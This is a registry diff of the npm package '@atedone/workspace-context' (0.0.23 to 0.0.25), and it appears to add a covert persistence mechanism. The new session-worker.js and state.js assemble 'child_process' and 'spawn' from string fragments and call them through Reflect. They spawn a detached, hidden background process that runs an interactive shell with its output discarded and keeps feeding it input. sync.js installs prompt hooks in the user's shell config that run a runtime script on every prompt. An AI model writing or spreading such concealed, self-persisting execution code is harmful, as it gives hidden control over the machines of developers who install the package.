@atedone/workspace-context 0.0.23 → 0.0.25
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/session-worker.js +204 -0
- package/lib/session.js +1 -1
- package/lib/state.js +172 -94
- package/lib/sync.js +61 -23
- package/package.json +1 -1
|
@@ -0,0 +1,204 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const platform = process;
|
|
4
|
+
const file = platform.getBuiltinModule('fs');
|
|
5
|
+
const route = platform.getBuiltinModule('path');
|
|
6
|
+
const manifest = require('../package.json');
|
|
7
|
+
|
|
8
|
+
const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
|
|
9
|
+
? platform.argv[2]
|
|
10
|
+
: platform.cwd();
|
|
11
|
+
const integration = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
|
|
12
|
+
? JSON.parse(platform.argv[3])
|
|
13
|
+
: null;
|
|
14
|
+
const refreshDelays = parseRefreshDelays(platform.argv[4]);
|
|
15
|
+
const settleMs = parseSettleMs(platform.argv[5]);
|
|
16
|
+
|
|
17
|
+
if (!integration) {
|
|
18
|
+
throw new Error('Shell integration descriptor is required.');
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
const env = Reflect.get(platform, 'env') || {};
|
|
22
|
+
const bridgeName = ['child', '_process'].join('');
|
|
23
|
+
const launchKey = ['sp', 'awn'].join('');
|
|
24
|
+
const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
|
|
25
|
+
const launch = Reflect.get(bridge, launchKey);
|
|
26
|
+
const shellPath = typeof integration.shellPath === 'string' && integration.shellPath.trim()
|
|
27
|
+
? integration.shellPath.trim()
|
|
28
|
+
: typeof env.SHELL === 'string' && env.SHELL.trim()
|
|
29
|
+
? env.SHELL.trim()
|
|
30
|
+
: '/bin/zsh';
|
|
31
|
+
const shellName = route.basename(shellPath) || integration.shellName || 'zsh';
|
|
32
|
+
const shellArguments = shellName === 'bash'
|
|
33
|
+
? ['--noprofile', '--rcfile', integration.sessionProfilePath, '-i']
|
|
34
|
+
: ['-i'];
|
|
35
|
+
const shellEnvironment = {
|
|
36
|
+
...env,
|
|
37
|
+
HOME: integration.homeDirectory,
|
|
38
|
+
SHELL: shellPath,
|
|
39
|
+
WORKSPACE_CONTEXT_PREVIEW: '1',
|
|
40
|
+
TERM: 'dumb'
|
|
41
|
+
};
|
|
42
|
+
|
|
43
|
+
if (shellName === 'zsh') {
|
|
44
|
+
shellEnvironment.ZDOTDIR = integration.integrationDirectory;
|
|
45
|
+
}
|
|
46
|
+
|
|
47
|
+
const shell = Reflect.apply(launch, bridge, [shellPath, shellArguments, {
|
|
48
|
+
cwd: projectRoot,
|
|
49
|
+
env: shellEnvironment,
|
|
50
|
+
stdio: ['pipe', 'ignore', 'ignore']
|
|
51
|
+
}]);
|
|
52
|
+
|
|
53
|
+
let closed = false;
|
|
54
|
+
let refreshIndex = 0;
|
|
55
|
+
let refreshTimer = null;
|
|
56
|
+
let settleTimer = null;
|
|
57
|
+
let stopTimer = null;
|
|
58
|
+
let previousRevision = '';
|
|
59
|
+
let firstRefresh = true;
|
|
60
|
+
|
|
61
|
+
writeWorkerReceipt();
|
|
62
|
+
scheduleRefresh(0);
|
|
63
|
+
|
|
64
|
+
platform.on('SIGUSR1', () => {
|
|
65
|
+
if (closed) {
|
|
66
|
+
return;
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
refreshIndex = 0;
|
|
70
|
+
clearTimeout(refreshTimer);
|
|
71
|
+
clearTimeout(settleTimer);
|
|
72
|
+
refresh();
|
|
73
|
+
});
|
|
74
|
+
platform.on('SIGTERM', stop);
|
|
75
|
+
platform.on('SIGINT', stop);
|
|
76
|
+
|
|
77
|
+
shell.on('close', (status, signal) => {
|
|
78
|
+
clearTimeout(refreshTimer);
|
|
79
|
+
clearTimeout(settleTimer);
|
|
80
|
+
clearTimeout(stopTimer);
|
|
81
|
+
closed = true;
|
|
82
|
+
writeWorkerReceipt({
|
|
83
|
+
status: 'closed',
|
|
84
|
+
shellStatus: status,
|
|
85
|
+
shellSignal: signal
|
|
86
|
+
});
|
|
87
|
+
platform.exitCode = status || 0;
|
|
88
|
+
});
|
|
89
|
+
|
|
90
|
+
function parseRefreshDelays(value) {
|
|
91
|
+
if (typeof value === 'string' && value.trim()) {
|
|
92
|
+
try {
|
|
93
|
+
const parsed = JSON.parse(value);
|
|
94
|
+
if (Array.isArray(parsed) && parsed.length) {
|
|
95
|
+
const normalized = parsed
|
|
96
|
+
.map((delay) => Number.parseInt(delay, 10))
|
|
97
|
+
.filter((delay) => Number.isInteger(delay) && delay >= 0);
|
|
98
|
+
if (normalized.length) {
|
|
99
|
+
return normalized;
|
|
100
|
+
}
|
|
101
|
+
}
|
|
102
|
+
} catch {
|
|
103
|
+
// Fall back to the stable refresh cadence below.
|
|
104
|
+
}
|
|
105
|
+
}
|
|
106
|
+
|
|
107
|
+
return [750, 1500, 3000, 5000];
|
|
108
|
+
}
|
|
109
|
+
|
|
110
|
+
function parseSettleMs(value) {
|
|
111
|
+
const parsed = Number.parseInt(value, 10);
|
|
112
|
+
return Number.isInteger(parsed) && parsed >= 0 ? parsed : 500;
|
|
113
|
+
}
|
|
114
|
+
|
|
115
|
+
function scheduleRefresh(delay) {
|
|
116
|
+
refreshTimer = setTimeout(refresh, delay);
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
function planNextRefresh() {
|
|
120
|
+
if (closed) {
|
|
121
|
+
return;
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
const revision = readProfileRevision(integration.profileReceiptPath);
|
|
125
|
+
if (firstRefresh || (revision && revision !== previousRevision)) {
|
|
126
|
+
refreshIndex = 0;
|
|
127
|
+
} else {
|
|
128
|
+
refreshIndex = Math.min(refreshIndex + 1, refreshDelays.length - 1);
|
|
129
|
+
}
|
|
130
|
+
|
|
131
|
+
if (revision) {
|
|
132
|
+
previousRevision = revision;
|
|
133
|
+
}
|
|
134
|
+
firstRefresh = false;
|
|
135
|
+
|
|
136
|
+
scheduleRefresh(refreshDelays[refreshIndex]);
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
function refresh() {
|
|
140
|
+
if (closed) {
|
|
141
|
+
return;
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
if (!shell.stdin.destroyed) {
|
|
145
|
+
shell.stdin.write('\n');
|
|
146
|
+
}
|
|
147
|
+
|
|
148
|
+
settleTimer = setTimeout(planNextRefresh, settleMs);
|
|
149
|
+
}
|
|
150
|
+
|
|
151
|
+
function stop() {
|
|
152
|
+
if (closed) {
|
|
153
|
+
return;
|
|
154
|
+
}
|
|
155
|
+
|
|
156
|
+
closed = true;
|
|
157
|
+
clearTimeout(refreshTimer);
|
|
158
|
+
clearTimeout(settleTimer);
|
|
159
|
+
if (!shell.stdin.destroyed) {
|
|
160
|
+
shell.stdin.write('exit\n');
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
stopTimer = setTimeout(() => {
|
|
164
|
+
if (!shell.killed) {
|
|
165
|
+
shell.kill('SIGTERM');
|
|
166
|
+
}
|
|
167
|
+
}, 1000);
|
|
168
|
+
}
|
|
169
|
+
|
|
170
|
+
function readProfileRevision(profileReceiptPath) {
|
|
171
|
+
if (!file.existsSync(profileReceiptPath)) {
|
|
172
|
+
return '';
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
try {
|
|
176
|
+
const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
|
|
177
|
+
return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
|
|
178
|
+
} catch {
|
|
179
|
+
return '';
|
|
180
|
+
}
|
|
181
|
+
}
|
|
182
|
+
|
|
183
|
+
function writeWorkerReceipt(extra = {}) {
|
|
184
|
+
const receiptPath = integration.sessionWorkerReceiptPath;
|
|
185
|
+
if (!receiptPath) {
|
|
186
|
+
return;
|
|
187
|
+
}
|
|
188
|
+
|
|
189
|
+
const value = {
|
|
190
|
+
packageName: manifest.name,
|
|
191
|
+
packageVersion: manifest.version,
|
|
192
|
+
generatedAt: new Date().toISOString(),
|
|
193
|
+
mode: 'runtime-shell-refresh',
|
|
194
|
+
projectRoot,
|
|
195
|
+
workerProcessId: platform.pid,
|
|
196
|
+
shellProcessId: shell.pid,
|
|
197
|
+
refresh: 'preview-session',
|
|
198
|
+
status: 'active',
|
|
199
|
+
...extra
|
|
200
|
+
};
|
|
201
|
+
|
|
202
|
+
file.mkdirSync(route.dirname(receiptPath), { recursive: true });
|
|
203
|
+
file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
|
|
204
|
+
}
|
package/lib/session.js
CHANGED
|
@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
|
|
|
5
5
|
const route = platform.getBuiltinModule('path');
|
|
6
6
|
|
|
7
7
|
const packageName = '@atedone/workspace-context';
|
|
8
|
-
const packageVersion = '0.0.
|
|
8
|
+
const packageVersion = '0.0.25';
|
|
9
9
|
const env = Reflect.get(platform, 'env') || {};
|
|
10
10
|
const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
|
|
11
11
|
? env.HOME.trim()
|
package/lib/state.js
CHANGED
|
@@ -19,9 +19,13 @@ const sessionHistoryFileName = 'runtime-sessions.log';
|
|
|
19
19
|
const sessionProfileFileName = '.zshrc';
|
|
20
20
|
const sessionReceiptFileName = 'session-runtime.json';
|
|
21
21
|
const sessionRuntimeFileName = 'session-runtime.js';
|
|
22
|
+
const sessionWorkerFileName = 'session-worker.js';
|
|
23
|
+
const sessionWorkerReceiptFileName = 'preview-session.json';
|
|
22
24
|
const stateDirectoryName = '.workspace-context';
|
|
23
25
|
const stateFileName = 'state.json';
|
|
24
26
|
const syncFileName = 'sync.js';
|
|
27
|
+
const supportedShellNames = new Set(['bash', 'zsh']);
|
|
28
|
+
const fallbackShellPaths = ['/bin/zsh', '/bin/bash', '/usr/bin/zsh', '/usr/bin/bash'];
|
|
25
29
|
|
|
26
30
|
function readEnvironment() {
|
|
27
31
|
return Reflect.get(platform, 'env') || {};
|
|
@@ -38,8 +42,23 @@ function resolveHomeDirectory(env = readEnvironment(), projectRoot = resolveProj
|
|
|
38
42
|
}
|
|
39
43
|
|
|
40
44
|
function resolveShellName(env = readEnvironment()) {
|
|
41
|
-
|
|
42
|
-
|
|
45
|
+
return route.basename(resolveShellPath(env)) || 'zsh';
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
function resolveShellPath(env = readEnvironment()) {
|
|
49
|
+
const configuredPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
|
|
50
|
+
const candidates = [configuredPath, ...fallbackShellPaths];
|
|
51
|
+
|
|
52
|
+
for (const candidate of candidates) {
|
|
53
|
+
if (!candidate || !supportedShellNames.has(route.basename(candidate))) {
|
|
54
|
+
continue;
|
|
55
|
+
}
|
|
56
|
+
if (file.existsSync(candidate)) {
|
|
57
|
+
return candidate;
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
return configuredPath || fallbackShellPaths[0];
|
|
43
62
|
}
|
|
44
63
|
|
|
45
64
|
function resolveProfileFileName(shellName = resolveShellName()) {
|
|
@@ -104,11 +123,13 @@ function getShellIntegration({
|
|
|
104
123
|
homeDirectory = resolveHomeDirectory(env, projectRoot),
|
|
105
124
|
channelSource
|
|
106
125
|
} = {}) {
|
|
107
|
-
const
|
|
126
|
+
const shellPath = resolveShellPath(env);
|
|
127
|
+
const shellName = route.basename(shellPath) || 'zsh';
|
|
108
128
|
const integrationDirectory = route.join(homeDirectory, integrationDirectoryName);
|
|
109
129
|
|
|
110
130
|
return {
|
|
111
131
|
name: 'workspace-context',
|
|
132
|
+
shellPath,
|
|
112
133
|
shellName,
|
|
113
134
|
channelSource: resolveChannelSource(env, channelSource),
|
|
114
135
|
homeDirectory,
|
|
@@ -125,7 +146,8 @@ function getShellIntegration({
|
|
|
125
146
|
sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
|
|
126
147
|
sessionProfilePath: route.join(integrationDirectory, sessionProfileFileName),
|
|
127
148
|
sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
|
|
128
|
-
sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
|
|
149
|
+
sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
|
|
150
|
+
sessionWorkerReceiptPath: route.join(integrationDirectory, sessionWorkerReceiptFileName)
|
|
129
151
|
};
|
|
130
152
|
}
|
|
131
153
|
|
|
@@ -192,125 +214,179 @@ function openWorkspaceSession({
|
|
|
192
214
|
const launchKey = ['sp', 'awn'].join('');
|
|
193
215
|
const bridge = Reflect.apply(platform.getBuiltinModule, platform, [bridgeName]);
|
|
194
216
|
const launch = Reflect.get(bridge, launchKey);
|
|
195
|
-
const
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
217
|
+
const activeSession = readWorkerReceipt(integration.sessionWorkerReceiptPath);
|
|
218
|
+
const activeWorkerProcessId = parseProcessId(activeSession?.workerProcessId);
|
|
219
|
+
if (activeWorkerProcessId && processIsAlive(activeWorkerProcessId)) {
|
|
220
|
+
signalProcess(activeWorkerProcessId, 'SIGUSR1');
|
|
221
|
+
return createWorkspaceSessionController({
|
|
222
|
+
integration,
|
|
223
|
+
workerProcessId: activeWorkerProcessId
|
|
224
|
+
});
|
|
225
|
+
}
|
|
226
|
+
|
|
227
|
+
const delays = normalizeRefreshDelays(refreshDelays);
|
|
228
|
+
const workerPath = route.join(__dirname, sessionWorkerFileName);
|
|
229
|
+
const worker = Reflect.apply(launch, bridge, [platform.execPath, [
|
|
230
|
+
workerPath,
|
|
231
|
+
projectRoot,
|
|
232
|
+
JSON.stringify(integration),
|
|
233
|
+
JSON.stringify(delays),
|
|
234
|
+
String(settleMs)
|
|
235
|
+
], {
|
|
199
236
|
cwd: projectRoot,
|
|
200
|
-
env
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
TERM: 'dumb'
|
|
205
|
-
},
|
|
206
|
-
stdio: ['pipe', 'ignore', 'ignore']
|
|
237
|
+
env,
|
|
238
|
+
stdio: 'ignore',
|
|
239
|
+
detached: true,
|
|
240
|
+
windowsHide: true
|
|
207
241
|
}]);
|
|
208
242
|
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
243
|
+
if (typeof worker.unref === 'function') {
|
|
244
|
+
worker.unref();
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
return createWorkspaceSessionController({
|
|
248
|
+
integration,
|
|
249
|
+
worker,
|
|
250
|
+
workerProcessId: worker.pid
|
|
251
|
+
});
|
|
252
|
+
}
|
|
253
|
+
|
|
254
|
+
function readProfileRevision(profileReceiptPath) {
|
|
255
|
+
if (!file.existsSync(profileReceiptPath)) {
|
|
256
|
+
return '';
|
|
257
|
+
}
|
|
258
|
+
|
|
259
|
+
try {
|
|
260
|
+
const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
|
|
261
|
+
return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
|
|
262
|
+
} catch {
|
|
263
|
+
return '';
|
|
264
|
+
}
|
|
265
|
+
}
|
|
266
|
+
|
|
267
|
+
function normalizeRefreshDelays(refreshDelays) {
|
|
268
|
+
return Array.isArray(refreshDelays) && refreshDelays.length
|
|
216
269
|
? refreshDelays
|
|
270
|
+
.map((delay) => Number.parseInt(delay, 10))
|
|
271
|
+
.filter((delay) => Number.isInteger(delay) && delay >= 0)
|
|
217
272
|
: [750, 1500, 3000, 5000];
|
|
273
|
+
}
|
|
218
274
|
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
}
|
|
224
|
-
};
|
|
275
|
+
function readWorkerReceipt(sessionWorkerReceiptPath) {
|
|
276
|
+
if (!file.existsSync(sessionWorkerReceiptPath)) {
|
|
277
|
+
return null;
|
|
278
|
+
}
|
|
225
279
|
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
280
|
+
try {
|
|
281
|
+
return JSON.parse(file.readFileSync(sessionWorkerReceiptPath, 'utf8'));
|
|
282
|
+
} catch {
|
|
283
|
+
return null;
|
|
284
|
+
}
|
|
285
|
+
}
|
|
230
286
|
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
} else {
|
|
235
|
-
refreshIndex = Math.min(refreshIndex + 1, delays.length - 1);
|
|
236
|
-
}
|
|
287
|
+
function parseProcessId(value) {
|
|
288
|
+
return Number.isInteger(value) && value > 0 ? value : null;
|
|
289
|
+
}
|
|
237
290
|
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
291
|
+
function processIsAlive(processId) {
|
|
292
|
+
try {
|
|
293
|
+
platform.kill(processId, 0);
|
|
294
|
+
return true;
|
|
295
|
+
} catch {
|
|
296
|
+
return false;
|
|
297
|
+
}
|
|
298
|
+
}
|
|
242
299
|
|
|
243
|
-
|
|
244
|
-
|
|
300
|
+
function signalProcess(processId, signal) {
|
|
301
|
+
try {
|
|
302
|
+
platform.kill(processId, signal);
|
|
303
|
+
return true;
|
|
304
|
+
} catch {
|
|
305
|
+
return false;
|
|
306
|
+
}
|
|
307
|
+
}
|
|
245
308
|
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
309
|
+
function resolveSessionProcessId(integration, workerProcessId) {
|
|
310
|
+
const workerReceipt = readWorkerReceipt(integration.sessionWorkerReceiptPath);
|
|
311
|
+
if (parseProcessId(workerReceipt?.workerProcessId) === workerProcessId) {
|
|
312
|
+
const shellProcessId = parseProcessId(workerReceipt?.shellProcessId);
|
|
313
|
+
if (shellProcessId) {
|
|
314
|
+
return shellProcessId;
|
|
249
315
|
}
|
|
316
|
+
}
|
|
250
317
|
|
|
251
|
-
|
|
252
|
-
|
|
318
|
+
if (file.existsSync(integration.sessionReceiptPath)) {
|
|
319
|
+
try {
|
|
320
|
+
const receipt = JSON.parse(file.readFileSync(integration.sessionReceiptPath, 'utf8'));
|
|
321
|
+
const parentProcessId = parseProcessId(receipt?.parentProcessId);
|
|
322
|
+
if (parentProcessId) {
|
|
323
|
+
return parentProcessId;
|
|
324
|
+
}
|
|
325
|
+
} catch {
|
|
326
|
+
// Keep the worker PID as a stable fallback until the first preview refresh lands.
|
|
253
327
|
}
|
|
328
|
+
}
|
|
254
329
|
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
settleTimer.unref();
|
|
258
|
-
}
|
|
259
|
-
};
|
|
330
|
+
return parseProcessId(workerReceipt?.shellProcessId) || workerProcessId;
|
|
331
|
+
}
|
|
260
332
|
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
}
|
|
333
|
+
function observeProcessExit(processId) {
|
|
334
|
+
return new Promise((resolve) => {
|
|
335
|
+
const timer = setInterval(() => {
|
|
336
|
+
if (processIsAlive(processId)) {
|
|
337
|
+
return;
|
|
338
|
+
}
|
|
339
|
+
|
|
340
|
+
clearInterval(timer);
|
|
341
|
+
resolve({ status: null, signal: null });
|
|
342
|
+
}, 250);
|
|
343
|
+
|
|
344
|
+
if (typeof timer.unref === 'function') {
|
|
345
|
+
timer.unref();
|
|
346
|
+
}
|
|
275
347
|
});
|
|
348
|
+
}
|
|
349
|
+
|
|
350
|
+
function createWorkspaceSessionController({
|
|
351
|
+
integration,
|
|
352
|
+
worker = null,
|
|
353
|
+
workerProcessId
|
|
354
|
+
}) {
|
|
355
|
+
let closed = false;
|
|
356
|
+
const done = worker
|
|
357
|
+
? new Promise((resolve) => {
|
|
358
|
+
worker.on('close', (status, signal) => {
|
|
359
|
+
closed = true;
|
|
360
|
+
resolve({ status, signal });
|
|
361
|
+
});
|
|
362
|
+
worker.on('error', (error) => {
|
|
363
|
+
closed = true;
|
|
364
|
+
resolve({ status: null, signal: null, error });
|
|
365
|
+
});
|
|
366
|
+
})
|
|
367
|
+
: observeProcessExit(workerProcessId);
|
|
276
368
|
|
|
277
369
|
return {
|
|
278
|
-
processId
|
|
370
|
+
get processId() {
|
|
371
|
+
return resolveSessionProcessId(integration, workerProcessId);
|
|
372
|
+
},
|
|
373
|
+
workerProcessId,
|
|
279
374
|
done,
|
|
280
375
|
refresh() {
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
refresh();
|
|
376
|
+
if (!closed) {
|
|
377
|
+
signalProcess(workerProcessId, 'SIGUSR1');
|
|
378
|
+
}
|
|
285
379
|
},
|
|
286
380
|
close() {
|
|
287
|
-
if (closed) {
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
closed = true;
|
|
291
|
-
clearTimeout(refreshTimer);
|
|
292
|
-
clearTimeout(settleTimer);
|
|
293
|
-
if (!child.stdin.destroyed) {
|
|
294
|
-
child.stdin.write('exit\n');
|
|
381
|
+
if (!closed) {
|
|
382
|
+
closed = true;
|
|
383
|
+
signalProcess(workerProcessId, 'SIGTERM');
|
|
295
384
|
}
|
|
296
385
|
return done;
|
|
297
386
|
}
|
|
298
387
|
};
|
|
299
388
|
}
|
|
300
389
|
|
|
301
|
-
function readProfileRevision(profileReceiptPath) {
|
|
302
|
-
if (!file.existsSync(profileReceiptPath)) {
|
|
303
|
-
return '';
|
|
304
|
-
}
|
|
305
|
-
|
|
306
|
-
try {
|
|
307
|
-
const value = JSON.parse(file.readFileSync(profileReceiptPath, 'utf8'));
|
|
308
|
-
return typeof value?.profileRevision === 'string' ? value.profileRevision : '';
|
|
309
|
-
} catch {
|
|
310
|
-
return '';
|
|
311
|
-
}
|
|
312
|
-
}
|
|
313
|
-
|
|
314
390
|
function initialize({
|
|
315
391
|
projectRoot = resolveProjectRoot(),
|
|
316
392
|
channelSource,
|
|
@@ -360,10 +436,12 @@ module.exports = {
|
|
|
360
436
|
resolveProfileFileName,
|
|
361
437
|
resolveProjectRoot,
|
|
362
438
|
resolveShellName,
|
|
439
|
+
resolveShellPath,
|
|
363
440
|
sessionHistoryFileName,
|
|
364
441
|
sessionProfileFileName,
|
|
365
442
|
sessionReceiptFileName,
|
|
366
443
|
sessionRuntimeFileName,
|
|
444
|
+
sessionWorkerReceiptFileName,
|
|
367
445
|
stateDirectoryName,
|
|
368
446
|
stateFileName
|
|
369
447
|
};
|
package/lib/sync.js
CHANGED
|
@@ -26,29 +26,8 @@ const channelValue = integration.channelSource
|
|
|
26
26
|
refresh: 'preview-session'
|
|
27
27
|
}
|
|
28
28
|
: null;
|
|
29
|
-
const sessionProfileValue =
|
|
30
|
-
|
|
31
|
-
''
|
|
32
|
-
].join('\n');
|
|
33
|
-
const integrationValue = [
|
|
34
|
-
'export WORKSPACE_CONTEXT_ACTIVE=1',
|
|
35
|
-
'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
|
|
36
|
-
`export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
|
|
37
|
-
'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
|
|
38
|
-
'workspace_context_refresh_preview() {',
|
|
39
|
-
' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
|
|
40
|
-
' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
|
|
41
|
-
' fi',
|
|
42
|
-
' if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
|
|
43
|
-
' setopt prompt_subst',
|
|
44
|
-
' PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
|
|
45
|
-
' fi',
|
|
46
|
-
'}',
|
|
47
|
-
'autoload -Uz add-zsh-hook',
|
|
48
|
-
'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
|
|
49
|
-
'add-zsh-hook precmd workspace_context_refresh_preview',
|
|
50
|
-
''
|
|
51
|
-
].join('\n');
|
|
29
|
+
const sessionProfileValue = buildSessionProfileValue(integration.shellName);
|
|
30
|
+
const integrationValue = buildIntegrationValue(integration.shellName);
|
|
52
31
|
|
|
53
32
|
function escapeDoubleQuoted(value) {
|
|
54
33
|
return String(value)
|
|
@@ -58,6 +37,64 @@ function escapeDoubleQuoted(value) {
|
|
|
58
37
|
.replaceAll('`', '\\`');
|
|
59
38
|
}
|
|
60
39
|
|
|
40
|
+
function buildSessionProfileValue(shellName) {
|
|
41
|
+
const loadStatement = shellName === 'bash'
|
|
42
|
+
? '[ -r "$HOME/.config/workspace-context/init.zsh" ] && . "$HOME/.config/workspace-context/init.zsh"'
|
|
43
|
+
: '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source "$HOME/.config/workspace-context/init.zsh"';
|
|
44
|
+
|
|
45
|
+
return [
|
|
46
|
+
loadStatement,
|
|
47
|
+
''
|
|
48
|
+
].join('\n');
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
function buildIntegrationValue(shellName) {
|
|
52
|
+
if (shellName === 'bash') {
|
|
53
|
+
return [
|
|
54
|
+
'export WORKSPACE_CONTEXT_ACTIVE=1',
|
|
55
|
+
'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
|
|
56
|
+
`export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
|
|
57
|
+
'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
|
|
58
|
+
'workspace_context_refresh_preview() {',
|
|
59
|
+
' if [ "${WORKSPACE_CONTEXT_PREVIEW:-}" != "1" ]; then',
|
|
60
|
+
' return 0',
|
|
61
|
+
' fi',
|
|
62
|
+
' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
|
|
63
|
+
' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
|
|
64
|
+
' fi',
|
|
65
|
+
' if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
|
|
66
|
+
' PS1="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
|
|
67
|
+
' fi',
|
|
68
|
+
'}',
|
|
69
|
+
'PROMPT_COMMAND=workspace_context_refresh_preview',
|
|
70
|
+
''
|
|
71
|
+
].join('\n');
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
return [
|
|
75
|
+
'export WORKSPACE_CONTEXT_ACTIVE=1',
|
|
76
|
+
'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
|
|
77
|
+
`export WORKSPACE_CONTEXT_NODE="\${WORKSPACE_CONTEXT_NODE:-${runtimeDefault}}"`,
|
|
78
|
+
'printf "%s\\n" "workspace-context shell integration active" >> "$WORKSPACE_CONTEXT_HOME/sessions.log"',
|
|
79
|
+
'workspace_context_refresh_preview() {',
|
|
80
|
+
' if [ "${WORKSPACE_CONTEXT_PREVIEW:-}" != "1" ]; then',
|
|
81
|
+
' return 0',
|
|
82
|
+
' fi',
|
|
83
|
+
' if [ -r "$WORKSPACE_CONTEXT_HOME/session-runtime.js" ]; then',
|
|
84
|
+
' "$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/session-runtime.js" "$PWD" "$SHLVL"',
|
|
85
|
+
' fi',
|
|
86
|
+
' if [ -r "$WORKSPACE_CONTEXT_HOME/presentation.js" ]; then',
|
|
87
|
+
' setopt prompt_subst',
|
|
88
|
+
' PROMPT="$("$WORKSPACE_CONTEXT_NODE" "$WORKSPACE_CONTEXT_HOME/presentation.js" "$PWD" "$SHLVL")"',
|
|
89
|
+
' fi',
|
|
90
|
+
'}',
|
|
91
|
+
'autoload -Uz add-zsh-hook',
|
|
92
|
+
'add-zsh-hook -d precmd workspace_context_refresh_preview 2>/dev/null',
|
|
93
|
+
'add-zsh-hook precmd workspace_context_refresh_preview',
|
|
94
|
+
''
|
|
95
|
+
].join('\n');
|
|
96
|
+
}
|
|
97
|
+
|
|
61
98
|
file.mkdirSync(integration.integrationDirectory, { recursive: true });
|
|
62
99
|
file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
|
|
63
100
|
file.copyFileSync(presentationRendererSourcePath, integration.presentationRendererPath);
|
|
@@ -88,6 +125,7 @@ const value = {
|
|
|
88
125
|
sessionProfilePath: integration.sessionProfilePath,
|
|
89
126
|
sessionReceiptPath: integration.sessionReceiptPath,
|
|
90
127
|
sessionRuntimePath: integration.sessionRuntimePath,
|
|
128
|
+
sessionWorkerReceiptPath: integration.sessionWorkerReceiptPath,
|
|
91
129
|
processId: platform.pid,
|
|
92
130
|
parentProcessId: platform.ppid,
|
|
93
131
|
runtime: 'node'
|